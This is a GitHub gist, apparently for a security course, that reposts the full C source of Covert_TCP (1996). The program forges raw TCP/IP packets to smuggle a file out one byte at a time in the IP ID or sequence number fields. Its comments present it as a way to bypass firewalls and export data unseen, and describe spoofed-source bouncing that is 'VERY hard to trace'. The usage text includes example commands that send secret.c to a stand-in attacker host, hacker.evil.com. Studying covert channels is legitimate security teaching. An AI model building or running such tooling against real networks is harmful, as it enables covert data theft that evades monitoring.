Skip to content

Instantly share code, notes, and snippets.

@blurbdust
Created April 3, 2019 17:57
Show Gist options
  • Save blurbdust/7cc62a32fcee88849ba7d71af347ec59 to your computer and use it in GitHub Desktop.
Save blurbdust/7cc62a32fcee88849ba7d71af347ec59 to your computer and use it in GitHub Desktop.
CPRE.331.covert_tcp.c
/* Covert_TCP 1.0 - Covert channel file transfer for Linux
* Written by Craig H. Rowland (crowland@psionic.com)
* Copyright 1996 Craig H. Rowland (11-15-96)
* NOT FOR COMMERCIAL USE WITHOUT PERMISSION.
*
*
* This program manipulates the TCP/IP header to transfer a file one byte
* at a time to a destination host. This progam can act as a server and a client
* and can be used to conceal transmission of data inside the IP header.
* This is useful for bypassing firewalls from the inside, and for
* exporting data with innocuous looking packets that contain no data for
* sniffers to analyze. In other words, spy stuff... :)
*
* PLEASE see the enclosed paper for more information!!
*
* This software should be used at your own risk.
*
* compile: cc -o covert_tcp covert_tcp.c
*
*
*
* Portions of this code based on ping.c (c) 1987 Regents of the
* University of California. (See function in_cksm() for details)
*
* Small portions from various packet utilities by unknown authors
*/
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <string.h>
#include <unistd.h>
#include <netdb.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <linux/ip.h>
#include <linux/tcp.h>
#define VERSION "1.0"
/* Prototypes */
void forgepacket(unsigned int, unsigned int, unsigned short, unsigned
short,char *,int,int,int,int);
unsigned short in_cksum(unsigned short *, int);
unsigned int host_convert(char *);
void usage(char *);
main(int argc, char **argv)
{
unsigned int source_host=0,dest_host=0;
unsigned short source_port=0,dest_port=80;
int ipid=0,seq=0,ack=0,server=0,file=0;
int count;
char desthost[80],srchost[80],filename[80];
/* Title */
printf("Covert TCP %s (c)1996 Craig H. Rowland (crowland@psionic.com)\n",VERSION);
printf("Not for commercial use without permission.\n");
/* Can they run this? */
if(geteuid() !=0)
{
printf("\nYou need to be root to run this.\n\n");
exit(0);
}
/* Tell them how to use this thing */
if((argc < 6) || (argc > 13))
{
usage(argv[0]);
exit(0);
}
/* No error checking on the args...next version :) */
for(count=0; count < argc; ++count)
{
if (strcmp(argv[count],"-dest") == 0)
{
dest_host=host_convert(argv[count+1]);
strncpy(desthost,argv[count+1],79);
}
else if (strcmp(argv[count],"-source") == 0)
{
source_host=host_convert(argv[count+1]);
strncpy(srchost,argv[count+1],79);
}
else if (strcmp(argv[count],"-file") == 0)
{
strncpy(filename,argv[count+1],79);
file=1;
}
else if (strcmp(argv[count],"-source_port") == 0)
source_port=atoi(argv[count+1]);
else if (strcmp(argv[count],"-dest_port") == 0)
dest_port=atoi(argv[count+1]);
else if (strcmp(argv[count],"-ipid") == 0)
ipid=1;
else if (strcmp(argv[count],"-seq") == 0)
seq=1;
else if (strcmp(argv[count],"-ack") == 0)
ack=1;
else if (strcmp(argv[count],"-server") == 0)
server=1;
}
/* check the encoding flags */
if(ipid+seq+ack == 0)
ipid=1; /* set default encode type if none given */
else if (ipid+seq+ack !=1)
{
printf("\n\nOnly one encoding/decode flag (-ipid -seq -ack) can be used at a time.\n\n");
exit(1);
}
/* Did they give us a filename? */
if(file != 1)
{
printf("\n\nYou need to supply a filename (-file <filename>)\n\n");
exit(1);
}
if(server==0) /* if they want to be a client do this... */
{
if (source_host == 0 && dest_host == 0)
{
printf("\n\nYou need to supply a source and destination address for client mode.\n\n");
exit(1);
}
else if (ack == 1)
{
printf("\n\n-ack decoding can only be used in SERVER mode (-server)\n\n");
exit(1);
}
else
{
printf("Destination Host: %s\n",desthost);
printf("Source Host : %s\n",srchost);
if(source_port == 0)
printf("Originating Port: random\n");
else
printf("Originating Port: %u\n",source_port);
printf("Destination Port: %u\n",dest_port);
printf("Encoded Filename: %s\n",filename);
if(ipid == 1)
printf("Encoding Type : IP ID\n");
else if(seq == 1)
printf("Encoding Type : IP Sequence Number\n");
printf("\nClient Mode: Sending data.\n\n");
}
}
else /* server mode it is */
{
if (source_host == 0 && source_port == 0)
{
printf("You need to supply a source address and/or source port for server mode.\n");
exit(1);
}
if(dest_host == 0) /* if not host given, listen for anything.. */
strcpy(desthost,"Any Host");
if(source_host == 0)
strcpy(srchost,"Any Host");
printf("Listening for data from IP: %s\n",srchost);
if(source_port == 0)
printf("Listening for data bound for local port: Any Port\n");
else
printf("Listening for data bound for local port: %u\n",source_port);
printf("Decoded Filename: %s\n",filename);
if(ipid == 1)
printf("Decoding Type Is: IP packet ID\n");
else if(seq == 1)
printf("Decoding Type Is: IP Sequence Number\n");
else if(ack == 1)
printf("Decoding Type Is: IP ACK field bounced packet.\n");
printf("\nServer Mode: Listening for data.\n\n");
}
/* Do the dirty work */
forgepacket(source_host, dest_host, source_port, dest_port
,filename,server,ipid,seq,ack);
exit(0);
}
void forgepacket(unsigned int source_addr, unsigned int dest_addr, unsigned
short source_port, unsigned short dest_port, char *filename, int server, int ipid
, int seq, int ack)
{
struct send_tcp
{
struct iphdr ip;
struct tcphdr tcp;
} send_tcp;
struct recv_tcp
{
struct iphdr ip;
struct tcphdr tcp;
char buffer[10000];
} recv_pkt;
/* From synhose.c by knight */
struct pseudo_header
{
unsigned int source_address;
unsigned int dest_address;
unsigned char placeholder;
unsigned char protocol;
unsigned short tcp_length;
struct tcphdr tcp;
} pseudo_header;
int ch;
int send_socket;
int recv_socket;
struct sockaddr_in sin;
FILE *input;
FILE *output;
/* Initialize RNG for future use */
srand((getpid())*(dest_port));
/**********************/
/* Client code */
/**********************/
/* are we the client? */
if(server==0)
{
if((input=fopen(filename,"rb"))== NULL)
{
printf("I cannot open the file %s for reading\n",filename);
exit(1);
}
else while((ch=fgetc(input)) !=EOF)
{
/* Delay loop. This really slows things down, but is necessary to ensure */
/* semi-reliable transport of messages over the Internet and will not flood */
/* slow network connections */
/* A better should probably be developed */
sleep(1);
/* NOTE: I am not using the proper byte order functions to initialize */
/* some of these values (htons(), htonl(), etc.) and this will certainly */
/* cause problems on other architectures. I didn't like doing a direct */
/* translation of ASCII into the variables because this looked really */
/* suspicious seeing packets with sequence numbers of 0-255 all the time */
/* so I just read them in raw and let the function mangle them to fit its */
/* needs... CHR */
/* Make the IP header with our forged information */
send_tcp.ip.ihl = 5;
send_tcp.ip.version = 4;
send_tcp.ip.tos = 0;
send_tcp.ip.tot_len = htons(40);
/* if we are NOT doing IP ID header encoding, randomize the value */
/* of the IP identification field */
if (ipid == 0)
send_tcp.ip.id =(int)(255.0*rand()/(RAND_MAX+1.0));
else /* otherwise we "encode" it with our cheesy algorithm */
send_tcp.ip.id =ch;
send_tcp.ip.frag_off = 0;
send_tcp.ip.ttl = 64;
send_tcp.ip.protocol = IPPROTO_TCP;
send_tcp.ip.check = 0;
send_tcp.ip.saddr = source_addr;
send_tcp.ip.daddr = dest_addr;
/* begin forged TCP header */
if(source_port == 0) /* if the didn't supply a source port, we make one */
send_tcp.tcp.source = 1+(int)(10000.0*rand()/(RAND_MAX+1.0));
else /* otherwise use the one given */
send_tcp.tcp.source = htons(source_port);
if(seq==0) /* if we are not encoding the value into the seq number */
send_tcp.tcp.seq = 1+(int)(10000.0*rand()/(RAND_MAX+1.0));
else /* otherwise we'll hide the data using our cheesy algorithm one more time.
*/
send_tcp.tcp.seq = ch;
/* forge destination port */
send_tcp.tcp.dest = htons(dest_port);
/* the rest of the flags */
/* NOTE: Other covert channels can use the following flags to encode data a
BIT */
/* at a time. A good example would be the use of the PSH flag setting to either
*/
/* on or off and having the remote side decode the bytes accordingly... CHR */
send_tcp.tcp.ack_seq = 0;
send_tcp.tcp.res1 = 0;
send_tcp.tcp.doff = 5;
send_tcp.tcp.fin = 0;
send_tcp.tcp.syn = 1;
send_tcp.tcp.rst = 0;
send_tcp.tcp.psh = 0;
send_tcp.tcp.ack = 0;
send_tcp.tcp.urg = 0;
// send_tcp.tcp.res2 = 0;
send_tcp.tcp.window = htons(512);
send_tcp.tcp.check = 0;
send_tcp.tcp.urg_ptr = 0;
/* Drop our forged data into the socket struct */
sin.sin_family = AF_INET;
sin.sin_port = send_tcp.tcp.source;
sin.sin_addr.s_addr = send_tcp.ip.daddr;
/* Now open the raw socket for sending */
send_socket = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
if(send_socket < 0)
{
perror("send socket cannot be open. Are you root?");
exit(1);
}
/* Make IP header checksum */
send_tcp.ip.check = in_cksum((unsigned short *)&send_tcp.ip, 20);
/* Final preparation of the full header */
/* From synhose.c by knight */
pseudo_header.source_address = send_tcp.ip.saddr;
pseudo_header.dest_address = send_tcp.ip.daddr;
pseudo_header.placeholder = 0;
pseudo_header.protocol = IPPROTO_TCP;
pseudo_header.tcp_length = htons(20);
bcopy((char *)&send_tcp.tcp, (char *)&pseudo_header.tcp, 20);
/* Final checksum on the entire package */
send_tcp.tcp.check = in_cksum((unsigned short *)&pseudo_header, 32);
/* Away we go.... */
sendto(send_socket, &send_tcp, 40, 0, (struct sockaddr *)&sin, sizeof(sin));
printf("Sending Data: %c\n",ch);
close(send_socket);
} /* end while(fgetc()) loop */
fclose(input);
}/* end if(server == 0) loop */
/***********************/
/* Passive server code */
/***********************/
/* we are the server so now we listen */
else
{
if((output=fopen(filename,"wb"))== NULL)
{
printf("I cannot open the file %s for writing\n",filename);
exit(1);
}
/* Now we read the socket. This is not terribly fast at this time, and has the same
*/
/* reliability as UDP as we do not ACK the packets for retries if they are bad. */
/* This is just proof of concept... CHR*/
while(1) /* read packet loop */
{
/* Open socket for reading */
recv_socket = socket(AF_INET, SOCK_RAW, 6);
if(recv_socket < 0)
{
perror("receive socket cannot be open. Are you root?");
exit(1);
}
/* Listen for return packet on a passive socket */
read(recv_socket, (struct recv_tcp *)&recv_pkt, 9999);
/* if the packet has the SYN/ACK flag set and is from the right
address..*/
if (source_port == 0) /* the user does not care what port we come from
*/
{ /* check for SYN/ACK flag set and correct inbound IP source
address */
if((recv_pkt.tcp.syn == 1) && (recv_pkt.ip.saddr ==
source_addr))
{
/* IP ID header "decoding" */
/* The ID number is converted from it's ASCII equivalent back to
normal */
if(ipid==1)
{
printf("Receiving Data: %c\n",recv_pkt.ip.id);
fprintf(output,"%c",recv_pkt.ip.id);
fflush(output);
}
/* IP Sequence number "decoding" */
else if (seq==1)
{
printf("Receiving Data: %c\n",recv_pkt.tcp.seq);
fprintf(output,"%c",recv_pkt.tcp.seq);
fflush(output);
}
/* Use a bounced packet from a remote server to decode the data */
/* This technique requires that the client initiates a SEND to */
/* a remote host with a SPOOFED source IP that is the location */
/* of the listening server. The remote server will receive the packet */
/* and will initiate an ACK of the packet with the encoded sequence */
/* number+1 back to the SPOOFED source. The covert server is waiting at this */
/* spoofed address and can decode the ack field to retrieve the data */
/* this enables an "anonymous" packet transfer that can bounce */
/* off any site. This is VERY hard to trace back to the originating */
/* source. This is pretty nasty as far as covert channels go... */
/* Some routers may not allow you to spoof an address outbound */
/* that is not on their network, so it may not work at all sites... */
/* SENDER should use covert_tcp with the -seq flag and a forged -source */
/* address. RECEIVER should use the -server -ack flags with the IP of */
/* of the server the bounced message will appear from.. CHR */
/* The bounced ACK sequence number is really the original sequence*/
/* plus one (ISN+1). However, the translation here drops some of the */
/* bits so we get the original ASCII value...go figure.. */
else if (ack==1)
{
printf("Receiving Data: %c\n",recv_pkt.tcp.ack_seq);
fprintf(output,"%c",recv_pkt.tcp.ack_seq);
fflush(output);
}
} /* end if loop to check for ID/sequence decode */
} /* End if loop checking for port number given */
/* if the packet has the SYN/ACK flag set and is destined to the right port..*/
/* we'll grab it regardless if IP addresses. This is useful for bouncing off of */
/* multiple hosts to a single server address */
else
{
if((recv_pkt.tcp.syn==1) && (ntohs(recv_pkt.tcp.dest) ==
source_port))
{
/* IP ID header "decoding" */
/* The ID number is converted from it's ASCII equivalent back
to normal */
if(ipid==1)
{
printf("Receiving Data: %c\n",recv_pkt.ip.id);
fprintf(output,"%c",recv_pkt.ip.id);
fflush(output);
}
/* IP Sequence number "decoding" */
else if (seq==1)
{
printf("Receiving Data: %c\n",recv_pkt.tcp.seq);
fprintf(output,"%c",recv_pkt.tcp.seq);
fflush(output);
}
/* Do the bounce decode again... */
else if (ack==1)
{
printf("Receiving Data: %c\n",recv_pkt.tcp.ack_seq);
fprintf(output,"%c",recv_pkt.tcp.ack_seq);
fflush(output);
}
} /* end if loop to check for source port decoding */
} /* end else loop to see if port number given to listen on */
close(recv_socket); /* close the socket so we don't hose the kernel */
}/* end while() read packet loop */
fclose(output);
} /* end else(serverloop) function */
} /* end forgepacket() function */
/* clipped from ping.c (this function is the whore of checksum routines */
/* as everyone seems to use it..I feel so dirty...) */
/* Copyright (c)1987 Regents of the University of California.
* All rights reserved.
*
* Redistribution and use in source and binary forms are permitted
* provided that the above copyright notice and this paragraph are
* dupliated in all such forms and that any documentation, advertising
* materials, and other materials related to such distribution and use
* acknowledge that the software was developed by the University of
* California, Berkeley. The name of the University may not be used
* to endorse or promote products derived from this software without
* specific prior written permission. THIS SOFTWARE IS PROVIDED ``AS
* IS'' AND WITHOUT ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING,
* WITHOUT LIMITATION, THE IMPLIED WARRANTIES OF MERCHATIBILITY AND
* FITNESS FOR A PARTICULAR PURPOSE
*/
unsigned short in_cksum(unsigned short *ptr, int nbytes)
{
register long sum; /* assumes long == 32 bits
*/
u_short oddbyte;
register u_short answer; /* assumes u_short == 16 bits */
/*
* Our algorithm is simple, using a 32-bit accumulator (sum),
* we add sequential 16-bit words to it, and at the end, fold back
* all the carry bits from the top 16 bits into the lower 16 bits.
*/
sum = 0;
while (nbytes > 1) {
sum += *ptr++;
nbytes -= 2;
}
/* mop up an odd byte, if necessary */
if (nbytes == 1) {
oddbyte = 0; /* make sure top half is zero */
*((u_char *) &oddbyte) = *(u_char *)ptr; /* one byte only */
sum += oddbyte;
}
/*
* Add back carry outs from top 16 bits to low 16 bits.
*/
sum = (sum >> 16) + (sum & 0xffff); /* add high-16 to low-16 */
sum += (sum >> 16); /* add carry */
answer = ~sum; /* ones-complement, then truncate to 16 bits
*/
return(answer);
} /* end in_cksm()
/* Generic resolver from unknown source */
unsigned int host_convert(char *hostname)
{
static struct in_addr i;
struct hostent *h;
i.s_addr = inet_addr(hostname);
if(i.s_addr == -1)
{
h = gethostbyname(hostname);
if(h == NULL)
{
fprintf(stderr, "cannot resolve %s\n", hostname);
exit(0);
}
bcopy(h->h_addr, (char *)&i.s_addr, h->h_length);
}
return i.s_addr;
} /* end resolver */
/* Tell them how to use this */
void usage(char *progname)
{
printf("Covert TCP usage: \n%s -dest dest_ip -source source_ip -file filename -source_port port -dest_port port -server [encode type]\n\n",
progname);
printf("-dest dest_ip - Host to send data to.\n");
printf("-source source_ip - Host where you want the data to originate from.\n");
printf(" In SERVER mode this is the host data will\n");
printf(" be coming FROM.\n");
printf("-source_port port - IP source port you want data to appear from. \n");
printf(" (randomly set by default)\n");
printf("-dest_port port - IP source port you want data to go to. In\n");
printf(" SERVER mode this is the port data will be coming\n");
printf(" inbound on. Port 80 by default.\n");
printf("-file filename - Name of the file to encode and transfer.\n");
printf("-server - Passive mode to allow receiving of data.\n");
printf("[Encode Type] - Optional encoding type\n");
printf("-ipid - Encode data a byte at a time in the IP packet ID. [DEFAULT]\n");
printf("-seq - Encode data a byte at a time in the packet sequence number.\n");
printf("-ack - DECODE data a byte at a time from the ACK field.\n");
printf(" This ONLY works from server mode and is made to decode\n");
printf(" covert channel packets that have been bounced off a remote\n");
printf(" server using -seq. See documentation for details\n");
printf("\nPress ENTER for examples.");
getchar();
printf("\nExample: \ncovert_tcp -dest foo.bar.com -source hacker.evil.com - source_port 1234 -dest_port 80 -file secret.c\n\n"); printf("Above sends the file secret.c to the host hacker.evil.com a byte \n");
printf("at a time using the default IP packet ID encoding.\n");
printf("\nExample: \ncovert_tcp -dest foo.bar.com -source hacker.evil.com - dest_port 80 -server -file secret.c\n\n");
printf("Above listens passively for packets from hacker.evil.com\n");
printf("destined for port 80. It takes the data and saves the file locally\n");
printf("as secret.c\n\n");
exit(0);
} /* end usage() */
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment